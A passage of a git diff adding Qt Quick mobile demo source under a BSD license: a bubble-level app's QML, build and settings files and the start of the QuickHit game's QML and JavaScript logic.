+++ b/demos/mobile/qtbubblelevel/qml/Button.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: button
+
+ property alias source: image.source
+ property alias mouseAreaScale: mouseArea.scale
+
+ signal clicked
+
+ width: 50; height: 50
+ color: "transparent"
+
+ Behavior on scale { NumberAnimation { duration: 50 } }
+
+ Image {
+ id: image
+
+ anchors.fill: parent
+ smooth: true
+ }
+
+ MouseArea {
+ id: mouseArea
+
+ anchors.fill: parent
+ onClicked: { button.clicked() }
+ onEntered: { button.scale = 0.9 }
+ onExited: { button.scale = 1.0 }
+ }
+}
diff --git a/demos/mobile/qtbubblelevel/qml/Tube.qml b/demos/mobile/qtbubblelevel/qml/Tube.qml
new file mode 100644
index 00000000..609139ec
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/Tube.qml
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [0]
+Item {
+ id: tube
+
+ property real deg
+
+ Image {
+ id: bubble
+
+ property real center: tube.width / 2
+ property real bubbleCenter: bubble.width / 2
+
+ function calX() {
+ var newX = center + tube.deg / -20 * center
+
+ if((newX - bubbleCenter) < 0) {
+ return 0
+ }
+ else if((newX + bubbleCenter) > tube.width) {
+ return tube.width - 2 * bubbleCenter
+ }
+
+ return newX - bubbleCenter;
+ }
+
+ x: calX()
+ width: 0.16129032 * parent.width; height: 0.66666667 * parent.height
+ source: "images/bubble.png"
+ smooth: true
+ }
+
+ Image {
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: 0.36451613 * parent.width; height: 0.66666667 * parent.height
+ source: "images/scale.png"
+ }
+
+ Image {
+ width: parent.width; height: 0.32 * parent.height
+ opacity: 0.8
+ source: "images/reflection.png"
+ }
+}
+//! [0]
diff --git a/demos/mobile/qtbubblelevel/qml/images/board.png b/demos/mobile/qtbubblelevel/qml/images/board.png
new file mode 100644
index 00000000..aaed8d01
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/board.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/bubble.png b/demos/mobile/qtbubblelevel/qml/images/bubble.png
new file mode 100644
index 00000000..e73be9e5
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/bubble.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/calibbutton.png b/demos/mobile/qtbubblelevel/qml/images/calibbutton.png
new file mode 100644
index 00000000..5f84dad7
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/calibbutton.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/exit.png b/demos/mobile/qtbubblelevel/qml/images/exit.png
new file mode 100644
index 00000000..64a61634
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/exit.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/reflection.png b/demos/mobile/qtbubblelevel/qml/images/reflection.png
new file mode 100644
index 00000000..093781ec
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/reflection.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/scale.png b/demos/mobile/qtbubblelevel/qml/images/scale.png
new file mode 100644
index 00000000..c75b21e2
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/scale.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/signblank.png b/demos/mobile/qtbubblelevel/qml/images/signblank.png
new file mode 100644
index 00000000..03b53cc0
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/signblank.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/signwithtext.png b/demos/mobile/qtbubblelevel/qml/images/signwithtext.png
new file mode 100644
index 00000000..be9c050f
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/signwithtext.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qml/images/taskswitcher.png b/demos/mobile/qtbubblelevel/qml/images/taskswitcher.png
new file mode 100644
index 00000000..89ff7a15
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/images/taskswitcher.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/qtbubblelevel.pro b/demos/mobile/qtbubblelevel/qtbubblelevel.pro
new file mode 100644
index 00000000..3314815b
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qtbubblelevel.pro
@@ -0,0 +1,59 @@
+QT += core gui declarative
+CONFIG += mobility
+MOBILITY += sensors
+
+TARGET = qtbubblelevel
+TEMPLATE = app
+
+VERSION = 1.2.0
+
+HEADERS += taskswitcher.h \
+ accelerometerfilter.h \
+ settings.h
+
+SOURCES += main.cpp \
+ taskswitcher.cpp \
+ accelerometerfilter.cpp
+
+OTHER_FILES += qml/*.qml \
+ qml/images/*.png
+
+RESOURCES = resources.qrc
+
+maemo5 {
+ BINDIR = /opt/usr/bin
+ DATADIR = /usr/share
+ DEFINES += DATADIR=\\\"$$DATADIR\\\" \
+ PKGDATADIR=\\\"$$PKGDATADIR\\\"
+ INSTALLS += target \
+ desktop \
+ iconxpm \
+ icon26 \
+ icon40 \
+ icon64
+
+ target.path = $$BINDIR
+ desktop.path = $$DATADIR/applications/hildon
+ desktop.files += $${TARGET}.desktop
+
+ iconxpm.path = $$DATADIR/pixmap
+ iconxpm.files += icons/xpm/qtbubblelevel.xpm
+
+ icon26.path = $$DATADIR/icons/hicolor/26x26/apps
+ icon26.files += icons/26x26/qtbubblelevel.png
+
+ icon40.path = $$DATADIR/icons/hicolor/40x40/apps
+ icon40.files += icons/40x40/qtbubblelevel.png
+
+ icon64.path = $$DATADIR/icons/hicolor/64x64/apps
+ icon64.files += icons/64x64/qtbubblelevel.png
+}
+
+symbian {
+ TARGET = QtBubbleLevel
+
+ # To lock the application to landscape orientation
+ LIBS += -lcone -leikcore -lavkon
+
+ ICON = icons/bubblelevel.svg
+}
diff --git a/demos/mobile/qtbubblelevel/resources.qrc b/demos/mobile/qtbubblelevel/resources.qrc
new file mode 100644
index 00000000..8f57e825
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/resources.qrc
@@ -0,0 +1,16 @@
+<RCC>
+ <qresource prefix="/">
+ <file>qml/BubbleLevel.qml</file>
+ <file>qml/Tube.qml</file>
+ <file>qml/Button.qml</file>
+ <file>qml/images/taskswitcher.png</file>
+ <file>qml/images/exit.png</file>
+ <file>qml/images/board.png</file>
+ <file>qml/images/bubble.png</file>
+ <file>qml/images/scale.png</file>
+ <file>qml/images/reflection.png</file>
+ <file>qml/images/signwithtext.png</file>
+ <file>qml/images/calibbutton.png</file>
+ <file>qml/images/signblank.png</file>
+ </qresource>
+</RCC>
diff --git a/demos/mobile/qtbubblelevel/settings.h b/demos/mobile/qtbubblelevel/settings.h
new file mode 100644
index 00000000..0015438a
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/settings.h
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SETTINGS_H
+#define SETTINGS_H
+
+#include <QtCore>
+
+class Settings : public QObject
+{
+ Q_OBJECT
+
+public:
+ void loadAndEmitCorrectionAngle() {
+ QSettings settings("Nokia corp", "QtBubbleLevel");
+ emit correctionAngle(settings.value("CorrectionAngle", "0.0f"));
+ }
+
+signals:
+ void correctionAngle(const QVariant &angle);
+
+public slots:
+ void saveCorrectionAngle(const QVariant &angle) {
+ QSettings settings("Nokia corp", "QtBubbleLevel");
+ settings.setValue("CorrectionAngle", angle);
+ }
+};
+
+#endif // SETTINGS_H
diff --git a/demos/mobile/qtbubblelevel/taskswitcher.cpp b/demos/mobile/qtbubblelevel/taskswitcher.cpp
new file mode 100644
index 00000000..03e70309
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/taskswitcher.cpp
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "taskswitcher.h"
+
+// Task Switcher for maemo
+#ifdef Q_WS_MAEMO_5
+ #include <QtDBus/QtDBus>
+#endif
+
+
+void TaskSwitcher::minimizeApplication()
+{
+ //! [0]
+ #ifdef Q_WS_MAEMO_5
+ // Uses DBus to minimize application in Maemo
+ QDBusConnection connection = QDBusConnection::sessionBus();
+ QDBusMessage message =
+ QDBusMessage::createSignal("/","com.nokia.hildon_desktop",
+ "exit_app_view");
+ connection.send(message);
+ #endif
+ //! [0]
+}
diff --git a/demos/mobile/qtbubblelevel/taskswitcher.h b/demos/mobile/qtbubblelevel/taskswitcher.h
new file mode 100644
index 00000000..e2f09509
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/taskswitcher.h
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef TASKSWITCHER_H
+#define TASKSWITCHER_H
+
+#include <QObject>
+
+class TaskSwitcher : public QObject
+{
+ Q_OBJECT
+
+public slots:
+ void minimizeApplication();
+};
+
+#endif // TASKSWITCHER_H
diff --git a/demos/mobile/quickhit/Button.qml b/demos/mobile/quickhit/Button.qml
new file mode 100644
index 00000000..edfbebb7
--- /dev/null
+++ b/demos/mobile/quickhit/Button.qml
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 30
+ height: 30
+ smooth: true
+
+ property string buttonPath // for example "qrc:/gfx/exit.png"
+ property int buttonId: 0
+
+ signal btnClicked(int buttonId)
+
+ property bool animationEnabled: true
+
+ Image {
+ id: image
+ anchors.fill: parent
+ source: buttonPath
+ fillMode: Image.PreserveAspectFit
+ smooth: true
+ }
+
+ SequentialAnimation {
+ id:anim
+ PropertyAction { target: image; property: "scale"; value:"0.7"}
+ PauseAnimation { duration: 200 }
+ PropertyAction { target: image; property: "scale"; value:"1.0"}
+ }
+
+ Timer {
+ id: buttonPressedTimer
+ interval: 300; running: false; repeat: false
+ onTriggered: btnClicked(buttonId)
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ if (animationEnabled && !anim.running) {
+ anim.restart()
+ }
+ buttonPressedTimer.restart()
+ }
+ }
+
+}
diff --git a/demos/mobile/quickhit/Game.js b/demos/mobile/quickhit/Game.js
new file mode 100644
index 00000000..d1792efd
--- /dev/null
+++ b/demos/mobile/quickhit/Game.js
@@ -0,0 +1,180 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+var levelPlugin = null
+
+// ---------------------------------------------------------------------------
+// hideMissiles
+function hideMissiles() {
+ missile_1.stop()
+ missile_1.opacity = 0;
+
+ missile_2.stop()
+ missile_2.opacity = 0;
+
+ missile_3.stop()
+ missile_3.opacity = 0;
+
+ missile_4.stop()
+ missile_4.opacity = 0;
+
+ missile_5.stop()
+ missile_5.opacity = 0;
+
+ enemy_missile_1.opacity = 0;
+ enemy_missile_2.opacity = 0;
+}
+
+// ---------------------------------------------------------------------------
+// GameOver
+function gameOver() {
+
+ // Stop GameEngine timers
+ GameEngine.enableEngineTimer(false)
+
+ // Delete loaded plugin level
+ deleteLevel()
+
+ // Hiding
+ myShip.opacity = 0
+ btnPause.opacity = 0
+}
+
+// ---------------------------------------------------------------------------
+// Pause game
+function pauseGame(doPause) {
+ missile_1.pause(doPause)
+ missile_2.pause(doPause)
+ missile_3.pause(doPause)
+ missile_4.pause(doPause)
+ missile_5.pause(doPause)
+ enemy_missile_1.pause(doPause)
+ enemy_missile_2.pause(doPause)
+
+ if (doPause) {
+ btnPause.opacity = 0
+ } else {
+ btnPause.opacity = 1
+ }
+
+ GameEngine.pauseLevel(doPause)
+}
+
+// ---------------------------------------------------------------------------
+// Fire your missile
+function fireMissile(aXpox, aFromYpos, aToYpos) {
+ if (missile_1.opacity<1) {
+ missile_1.fire(aXpox,aFromYpos,aToYpos)
+ }
+ else if (missile_2.opacity<1) {
+ missile_2.fire(aXpox,aFromYpos,aToYpos)
+ }
+ else if (missile_3.opacity<1) {
+ missile_3.fire(aXpox,aFromYpos,aToYpos)
+ }
+ else if (missile_4.opacity<1) {
+ missile_4.fire(aXpox,aFromYpos,aToYpos)
+ }
+ else if (missile_5.opacity<1) {
+ missile_5.fire(aXpox,aFromYpos,aToYpos)
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Fire enemy missile
+function fireEnemyMissile(aXpox, aFromYpos, aToYpos) {
+ if (enemy_missile_1.opacity==0) {
+ enemy_missile_1.enemyFire(aXpox,aFromYpos,aToYpos)
+ }
+ else if (enemy_missile_2.opacity==0) {
+ enemy_missile_2.enemyFire(aXpox,aFromYpos,aToYpos)
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Create level QML component
+function createLevel() {
+ console.log("Creating level "+LevelPlugin.qmlRootPath()+"Level.qml")
+ var levelComponent = Qt.createComponent("file:/"+LevelPlugin.qmlRootPath()+"Level.qml");
+ if (levelComponent.status == Component.Ready) {
+ if (levelPlugin) {
+ deleteLevel()
+ }
+ levelPlugin = levelComponent.createObject(levelId);
+ if (levelPlugin != null) {
+ console.log("Level created")
+ } else {
+ console.log("Can not create level")
+ messageBox.showErrorMessage("ERROR: Can not create level!",6000)
+ return 1
+ }
+ } else {
+ console.log("Can not find level, error:"+levelComponent.errorString())
+ messageBox.showErrorMessage("ERROR: Can not find level!",6000)
+ return 1
+ }
+
+ missile_1.createGraphicsForLevel()
+ missile_1.setToDefaultPos()
+ missile_2.createGraphicsForLevel()
+ missile_2.setToDefaultPos()
+ missile_3.createGraphicsForLevel()
+ missile_3.setToDefaultPos()
+ missile_4.createGraphicsForLevel()
+ missile_4.setToDefaultPos()
+ missile_5.createGraphicsForLevel()
+ missile_5.setToDefaultPos()
+ enemy_missile_1.createGraphicsForLevel()
+ enemy_missile_2.createGraphicsForLevel()
+ myShip.createGraphicsForLevel()
+
+ return 0
+}
+
+// ---------------------------------------------------------------------------
+// Delete level
+function deleteLevel() {
+ if (levelPlugin) {
+ GameEngine.clearQmlObjects()
+ levelPlugin.destroy()
+
+ }
+ levelPlugin = null;
+}
diff --git a/demos/mobile/quickhit/Game.qml b/demos/mobile/quickhit/Game.qml
new file mode 100644
index 00000000..70f903d1
--- /dev/null
+++ b/demos/mobile/quickhit/Game.qml
@@ -0,0 +1,439 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "Game.js" as GameScript
+
+Item {
+ id: gameArea
+ width: 360; height: 640 // NOTE: have to exists some default sizes
+ anchors.fill: parent
+ objectName: "gameArea"
+
+
+ // Who win, you or computer
+ property bool gameOverProperty: false
+
+ // for info message to user
+ property variant messageBox
+
